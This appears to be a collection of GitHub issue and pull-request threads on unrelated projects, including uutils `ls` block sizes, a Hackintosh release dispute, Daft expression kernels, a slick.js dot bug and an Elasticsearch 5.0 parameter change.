output is sorted because we currently don't sort by default.
hbina@akarin ~/g/uutils (ls_2)> ls -l --block-size=512 | sort
drwxrwxr-x 2 hbina hbina   8 Dec 24 22:33 examples
drwxrwxr-x 2 hbina hbina   8 Feb  2 21:32 dir2
drwxrwxr-x 2 hbina hbina   8 Feb  2 23:18 dir1
drwxrwxr-x 2 hbina hbina   8 Jan 31 23:43 util
drwxrwxr-x 4 hbina hbina   8 Jan 31 23:20 target
drwxrwxr-x 4 hbina hbina   8 Jan 31 23:43 docs
drwxrwxr-x 6 hbina hbina   8 Dec 24 22:33 src
drwxrwxr-x 6 hbina hbina   8 Jan 31 23:43 tests
-rw-rw-r-- 1 hbina hbina  11 Dec 24 22:33 CODE_OF_CONDUCT.md
-rw-rw-r-- 1 hbina hbina  12 Jan 31 23:43 build.rs
-rw-rw-r-- 1 hbina hbina 131 Feb  2 21:31 Cargo.lock
-rw-rw-r-- 1 hbina hbina  14 Jan 31 23:43 GNUmakefile
-rw-rw-r-- 1 hbina hbina   1 Dec 24 22:33 Makefile
-rw-rw-r-- 1 hbina hbina  21 Dec 24 22:33 Makefile.toml
-rw-rw-r-- 1 hbina hbina  33 Feb  3 21:33 Cargo.toml
-rw-rw-r-- 1 hbina hbina  37 Feb  2 21:31 README.md
-rw-rw-r-- 1 hbina hbina   3 Dec 24 22:33 LICENSE
-rw-rw-r-- 1 hbina hbina   7 Jan 31 23:43 DEVELOPER_INSTRUCTIONS.md
-rw-rw-r-- 1 hbina hbina   8 Jan 31 23:43 CONTRIBUTING.md
total 384
hbina@akarin ~/g/uutils (ls_2)> cargo run --quiet -- ls -l --block-size=512 | sort
drwxrwxr-x 2 hbina hbina    8 Dec 24 22:33 examples
drwxrwxr-x 2 hbina hbina    8 Feb  2 21:32 dir2
drwxrwxr-x 2 hbina hbina    8 Feb  2 23:18 dir1
drwxrwxr-x 2 hbina hbina    8 Jan 31 23:43 util
drwxrwxr-x 4 hbina hbina    8 Jan 31 23:20 target
drwxrwxr-x 4 hbina hbina    8 Jan 31 23:43 docs
drwxrwxr-x 6 hbina hbina    8 Dec 24 22:33 src
drwxrwxr-x 6 hbina hbina    8 Jan 31 23:43 tests
-rw-rw-r-- 1 hbina hbina  136 Feb  2 21:31 Cargo.lock
-rw-rw-r-- 1 hbina hbina   16 Dec 24 22:33 CODE_OF_CONDUCT.md
-rw-rw-r-- 1 hbina hbina   16 Jan 31 23:43 build.rs
-rw-rw-r-- 1 hbina hbina   16 Jan 31 23:43 GNUmakefile
-rw-rw-r-- 1 hbina hbina   24 Dec 24 22:33 Makefile.toml
-rw-rw-r-- 1 hbina hbina   40 Feb  2 21:31 README.md
-rw-rw-r-- 1 hbina hbina   40 Feb  3 21:33 Cargo.toml
-rw-rw-r-- 1 hbina hbina    8 Dec 24 22:33 LICENSE
-rw-rw-r-- 1 hbina hbina    8 Dec 24 22:33 Makefile
-rw-rw-r-- 1 hbina hbina    8 Jan 31 23:43 CONTRIBUTING.md
-rw-rw-r-- 1 hbina hbina    8 Jan 31 23:43 DEVELOPER_INSTRUCTIONS.md
total 384

I think there's some miscalculation somewhere, trying to figure out where,

Okay, this is interesting, but I think it may be outside the scope of this PR, as it addresses the non-block size given in the LongFormat option.  I've noticed similar behavior too.
Anyway, I think this might be better placed in a separate PR with some tests attached, but appreciate your work.  Thank you.

I think there's some miscalculation somewhere, trying to figure out where,

If you prepare a PR, let me know.  I'd be pleased to review.  One suggestion -- I would generic-ize the operation of rounding up to make clear what you are doing/not doing, with something like: https://doc.rust-lang.org/std/primitive.u64.html#method.unstable_div_ceil

I'll create the PR after yours are merged because its based on that.

@sylvestre @tertsdiepraam Don't mean to rush a review but CICD won't tell me which test is failing.  Perhaps I'm missing something.  I see:
Warning: Congrats! The gnu test tests/cp/copy-FMR is now passing!
Warning: Congrats! The gnu test tests/misc/shuf-reservoir is now passing!
Warning: Congrats! The gnu test tests/misc/sort-stale-thread-mem is now passing!
Warning: Congrats! The gnu test tests/misc/tty-eof is now passing!

But no indication which test is newly failing per:
Warning: Changes from main: PASS -1 / FAIL -4 / ERROR +0 / SKIP +5
Any assistance you could provide would be appreciated.  Thanks!

@sylvestre @tertsdiepraam I'd like to request a review, when it is convenient.  Thank you.

I think it's correct, but it needs some cleanup or documentation in a few places. Nice work!

I think this may be ready to merge but I think it needs your sign off, when it is convenient.  Thank you for your review.  It really needs some more TLC and your comments very much helped.

@hbina FYI I added your suggestion with a test.  Thanks!


Request for releases

Hi Profzei,
I have used this project for past couple years, and made a couple comments on a few issues. I have never contributed much to this project other than thanking you a few times here and there. I really appreciate the hard work and willingness to share.
However, I do find a need to express my personal opinion on your decision to pull the release out. While I do think it is fair to share the anger, it is not fair for the people like me, who have experienced and cheered the fruits of your contributions so far, to suffer as a consequence of a third party. I am concerned of the un-lived potential of this project, and your contributions for it, especially if you keep working on them for your own usage. I wonder if the pain of not sharing your work might be the same or even more than being stolen of your work.
It's been awhile now since the incident and I would like to leave this issue as request to you to reboot this project and let go of any past situations that stopped you from sharing the fruits of your hardwork. I'd happily pay a contribution!

with gratitude and for the goodwill of the community and their lovely devices.

I whole heartedly agree with @sagar-chandarana. I am incredibly grateful for all the work you have contributed to this project, and have learned a lot from your write ups as well. I would be more than willing to contribute in donating if it would mean you would share your continued work (if you have been).
With the recent updates, many of us have hit unforeseen roadblocks, and were wondering if you have too. I’m sure everyone would agree, your work was invaluable in helping get the most bang for our buck with these devices. And before Apple completely switches its attention to their ARM platform, we’d love to extend (with your help) this project as much as possible.
Again, please reconsider.

I whole heartedly agree with @sagar-chandarana. I am incredibly grateful for all the work you have contributed to this project, and have learned a lot from your write ups as well. I would be more than willing to contribute in donating if it would mean you would share your continued work (if you have been).
With the recent updates, many of us have hit unforeseen roadblocks, and were wondering if you have too. I’m sure everyone would agree, your work was invaluable in helping get the most bang for our buck with these devices. And before Apple completely switches its attention to their ARM platform, we’d love to extend (with your help) this project as much as possible.
Again, please reconsider.

I agree :)

@sagar-chandarana @Charly1000 @qosmio regardless of whatever your opinion is on this matter.
If you do need help with the machines feel free to contact me or look over the docs here. This is updated for macOS ventura.
https://github.com/tlefko/Matebook-X-Pro-2018-Ventura

Wow, I am late to the party, but isn't this a bit hypocritical? Your repo started by taking inspiration from some of my original clover work, yet you have never made a single pull request to my repo... I don't want to say too much, but wow...
@tlefko thank you for your continued work on this. I have since migrated to other platforms, but very happy to see someone continuing this hard work!
I'm sorry but I decided to remove all my releases: in this way I wanted to make it easier for people who have already copied what is on this site stating they made 'significant and unquestionable original changes' (instead of collaborating by suggesting pull requests)!

@gnodipac886 I appreciate you my friend, I looked at much of your clover work too! let me know if you ever have any ideas for the project
--tlefko

@profzei Hope you are well! What incentives/contributions are you open to from the community so that we can figure out a way to make everyone happy? Personally I would love to use my laptop with full macOS support from your contributions. I am also open to a private repo/release access to paid and authenticated individuals in order to avoid any future mishaps. The hopeful outcome I imagine is that we can get the final product of your work and get more life out of our devices. Thank you for your efforts.

@profzei Hey,Much appropriated for your great work which makes me to utilize my matebook supporting Mac with a super smooth experience, I totally understand your choice to pull back your releases , but I would like to ask for a personal favor for a stable release supporting the latest Mac, as I am still using the Big Sur which doesn't support the app store anymore, I would like to donate on this project , Please let me know, my email address<EMAIL_ADDRESS>Again, thanks!


Explicitly exclude non-email activities so that airdrop does not show options that won't work

We should exclude Airdrop Activities that don't make sense for ScratchJr.
Example code: https://www.appcoda.com/ios7-airdrop-programming-tutorial/
Activity Types: https://developer.apple.com/documentation/uikit/uiactivitytype

Closing for #489


[Missing Expression Kernels - 2/2] Add missing str.length(), str.concat(), and float.is_nan() kernels.

This PR adds the missing str.length(), str.concat(), and float.is_nan() kernels to the Rust expression path.
Drivebys: ports to_field() methods for str.contains(), str.startswith(), and str.endswith() to structural matching.
This PR is the second of two PRs, a follow-up for: https://github.com/Eventual-Inc/Daft/pull/771
Closes https://github.com/Eventual-Inc/Daft/issues/759

@clarkzinzow heads up, I ended up changing DataArray from using an Arc to a Box in this PR and saw a speedup with the dropping of moves that were happening. You may have to change your Arc::new to Box::new in your kernels

@samster25 Thanks for the heads up! That's too funny, I just changed str.length() to directly construct the DataArray with an Arc instead of going through UInt64Array::from(..., Box<>) to eliminate that hop. 😂
Does this mean that we can internally (in the compute kernel implementations) go through the Box<>-oriented DataArray<>::from() APIs without expecting a performance penalty?

@samster25 Thanks for the heads up! That's too funny, I just changed str.length() to directly construct the DataArray with an Arc instead of going through UInt64Array::from(..., Box<>) to eliminate that hop. 😂
Does this mean that we can internally (in the compute kernel implementations) now go through the Box<>-oriented DataArray<>::from() APIs without expecting a performance penalty?

yes that should be the case!


Upload completion percentage never hits 100%

It's a minor issue, but it's been here for several releases already and hasn't been fixed yet so I guess it hasn't been reported yet.
When creating a new deployment the Upload step never hits 100% even when it's done :

We removed the progress bar for 2.0 uploads since it is only used for uploading modified files.
Did this fix the issue for you?

Yep, closing this issue since it's no longer relevant. Thanks @styfle


Update: Fix Issue #2035 - Extra dot when slide count was not divisibl…

I believe the problem with issue #2035 was that the slide count was not divisible by the slides being shown.
jsfiddle of bug fix and various features that have to do with slideToShow/slideToScroll:
https://jsfiddle.net/parcotk/73qpkva2/5/
Please let me know if there is anything i can do to better this. I want my first PR to be for this great project!

Now thats a pull request!

Interesting ... I never noticed that bug before

@taylorKonigsmark, the issue still exists when having 16 slides with slidesToShow: 4, slidesToScroll: 3:
https://jsfiddle.net/mqgq5rg7/1/ (the next to last slider)
As I said, don't ask about that setup...

Yea, I see the issue :(
I spent a couple of hours the last couple of days trying to figure it out, and haven't been successful. Could really use some help from someone to familiarize my with this project.

So this 4,3 error, this occurs both before and after?

before and after the merge? correct

I think I've just found a breaking change with this PR.
Gonna do a little more testing, and might have to revert the merge ... hold on to your butts...

@simeydotme crossing fingers

It seems that #2152 solve this problem
Fiddle with 2152

@simeydotme I still get the bug of the additional dot here:
Fiddle with additional dot

Change the slick.js to the current master:
Fiddle
slick.js

Thank you. The latest update solves this problem


@eessex Bumps up resizer to 90%

Closes https://github.com/artsy/force/issues/154
The resizer is a little thing we do to normalize images in articles that get way too large. The resizer previously maxed out the image height to 70% of the inner height of the window, but as per the issue, let's try 90% after some requests from Editorial.

looks good! merging now


[5.0] "output_uuid=true" param was removed from _cluster/stats

The output_uuid=true param was removed from _cluster/stats in 5.0 and with the new strict param check, this results in an exception. https://github.com/elastic/elasticsearch/pull/21020
The cluster uuid is now included in /? which we already capture. https://github.com/elastic/elasticsearch/pull/20503
Currently:
% curl '<IP_ADDRESS>:9200/_cluster/stats?pretty&human&output_uuid=true'
{
  "error" : {
    "root_cause" : [
      {
        "type" : "illegal_argument_exception",
        "reason" : "request [/_cluster/stats] contains unrecognized parameter: [output_uuid]"
      }
    ],
    "type" : "illegal_argument_exception",
    "reason" : "request [/_cluster/stats] contains unrecognized parameter: [output_uuid]"
  },
  "status" : 400
}

Dropping &output_uuid=true solves the issue. I tested by removing this from the command in the diag.yml but we need to find a way to keep it in 1.x and 2.x and drop it in 5.x

Fixed.


[Gally]: master <- dev

Automatically created by Git-Ally

:tada: This PR is included in version 2.11.38 :tada:
The release is available on:

npm package (@latest dist-tag)
GitHub release

Your semantic-release bot :package::rocket:


Version needs to be updated in package.json and package-lock.json

NPM is not picking up the latest changes. https://www.npmjs.com/package/us-state-converter The package.json and package-lock.json files have version 1.04.

Sorry for the delay on getting this fixed! It's been updated.


Files for assistants can now be PDFs,... as we only validate .jsonl files

Currently all files are validated on upload so it is impossible to use PDFs for assistants
This small fix now allows other types

Thanks @stefan-kp!


TagBot trigger issue

This issue is used to trigger TagBot; feel free to unsubscribe.
If you haven't already, you should update your TagBot.yml to include issue comment triggers.
Please see this post on Discourse for instructions and more details.
If you'd like for me to do this for you, comment TagBot fix on this issue.
I'll open a PR within a few hours, please be patient!

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/48618

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/49417

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/49492

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/58250

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/58390

Triggering TagBot for merged registry pull request: https://github.com/JuliaRegistries/General/pull/67038


refactor: account state

This PR adjusts some of the logic per discussion on managing accounts.
I've added a deleted status to accounts on which to filter. Intentionally not using a boolean to allow for potential future other states.
Removes ofKeychains in account slice as it isn't needed, I'm pretty sure. We can infer the keychains to select based on fingerprint + accountIndex.
Improved typing of handleEntityActionWith function.

I tried using Claude to do some refactoring here and worked pretty well. For readability, it's really important to separate layout, styles, and animation components from those that read and manipulate state, exposing events with the *.layout.ts component pattern of similar.
This prompt pretty much does all the work:
Take the following component, and break it into two: a layout component, named the same but ending in "Layout` with all
the views and content of the component, and the other, that contains all the usage of React hooks, and reading of state.
If methods are called from within the Layout component, create callback props with event-based names, such as
`onUserClicksButton`. Prefer interfaces over type declarations.